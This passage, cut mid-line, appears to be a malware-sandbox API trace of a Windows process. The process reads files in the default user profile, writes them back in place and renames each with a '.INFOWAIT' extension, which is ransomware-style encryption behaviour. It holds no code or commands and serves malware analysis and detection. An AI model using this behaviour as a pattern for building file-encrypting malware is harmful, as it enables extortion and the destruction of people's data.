lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg.INFOWAIT" [0145.366] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg.infowait")) returned 1 [0145.367] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0145.368] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0145.368] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0145.368] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.msmessagestore"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0145.404] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x204000 [0145.404] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0145.404] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.404] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0145.481] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0145.495] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.495] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0145.496] CloseHandle (hObject=0xad0) returned 1 [0145.496] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore" [0145.496] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore.INFOWAIT" [0145.496] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.msmessagestore"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.msmessagestore.infowait")) returned 1 [0145.496] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0145.498] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0145.498] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0145.499] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.pat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0145.499] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4000 [0145.499] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0145.499] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.499] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4000, lpOverlapped=0x0) returned 1 [0146.101] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.102] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.102] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4000, lpOverlapped=0x0) returned 1 [0146.102] CloseHandle (hObject=0xad0) returned 1 [0146.102] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat" [0146.102] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat.INFOWAIT" [0146.102] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.pat"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.pat.infowait")) returned 1 [0146.103] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.104] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.104] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.104] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.dtd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.105] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1f2 [0146.105] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.105] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.105] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1f2, lpOverlapped=0x0) returned 1 [0146.106] VirtualAlloc (lpAddress=0x0, dwSize=0x1f2, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.106] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.106] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x1f2, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x1f2, lpOverlapped=0x0) returned 1 [0146.107] CloseHandle (hObject=0xad0) returned 1 [0146.107] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD" [0146.107] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD.INFOWAIT" [0146.107] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.dtd"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.dtd.infowait")) returned 1 [0146.107] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.108] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.108] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.108] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.108] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x27cf [0146.108] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.108] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.109] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x27cf, lpOverlapped=0x0) returned 1 [0146.110] VirtualAlloc (lpAddress=0x0, dwSize=0x27cf, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.111] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.111] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x27cf, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x27cf, lpOverlapped=0x0) returned 1 [0146.111] CloseHandle (hObject=0xad0) returned 1 [0146.111] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML" [0146.111] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML.INFOWAIT" [0146.111] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.xml"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.xml.infowait")) returned 1 [0146.112] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.113] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.113] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.113] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\settings.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.114] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x54 [0146.114] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.114] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.114] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x54, lpOverlapped=0x0) returned 1 [0146.115] VirtualAlloc (lpAddress=0x0, dwSize=0x54, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.115] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.116] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x54, lpOverlapped=0x0) returned 1 [0146.116] CloseHandle (hObject=0xad0) returned 1 [0146.116] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini" [0146.116] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini.INFOWAIT" [0146.116] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\settings.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\settings.ini.infowait")) returned 1 [0146.116] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.117] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.117] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.117] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\users\\default\\appdata\\local\\temp\\fxsapidebuglogfile.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.117] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x0 [0146.117] CloseHandle (hObject=0xad0) returned 1 [0146.118] lstrcpyW (in: lpString1=0x26ef5c4, lpString2="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt") returned="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" [0146.118] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt.INFOWAIT" [0146.118] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\users\\default\\appdata\\local\\temp\\fxsapidebuglogfile.txt"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\temp\\fxsapidebuglogfile.txt.infowait")) returned 1 [0146.118] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0146.118] GetLastError () returned 0x0 [0146.118] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0146.118] GetLastError () returned 0x0 [0146.118] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.118] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.119] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x92 [0146.119] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.119] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.119] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x92, lpOverlapped=0x0) returned 1 [0146.120] VirtualAlloc (lpAddress=0x0, dwSize=0x92, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.120] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.120] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x92, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x92, lpOverlapped=0x0) returned 1 [0146.120] CloseHandle (hObject=0xad0) returned 1 [0146.121] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini" [0146.121] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini.INFOWAIT" [0146.121] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\desktop.ini.infowait")) returned 1 [0146.121] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.122] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.122] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.122] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\shows desktop.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.123] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x122 [0146.123] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.123] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.124] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x122, lpOverlapped=0x0) returned 1 [0146.125] VirtualAlloc (lpAddress=0x0, dwSize=0x122, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.125] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.125] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x122, lpOverlapped=0x0) returned 1 [0146.125] CloseHandle (hObject=0xad0) returned 1 [0146.126] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk" [0146.126] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk.INFOWAIT" [0146.126] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\shows desktop.lnk"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\shows desktop.lnk.infowait")) returned 1 [0146.126] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.127] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.127] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.127] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.128] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xd3 [0146.128] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.128] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.128] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xd3, lpOverlapped=0x0) returned 1 [0146.130] VirtualAlloc (lpAddress=0x0, dwSize=0xd3, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 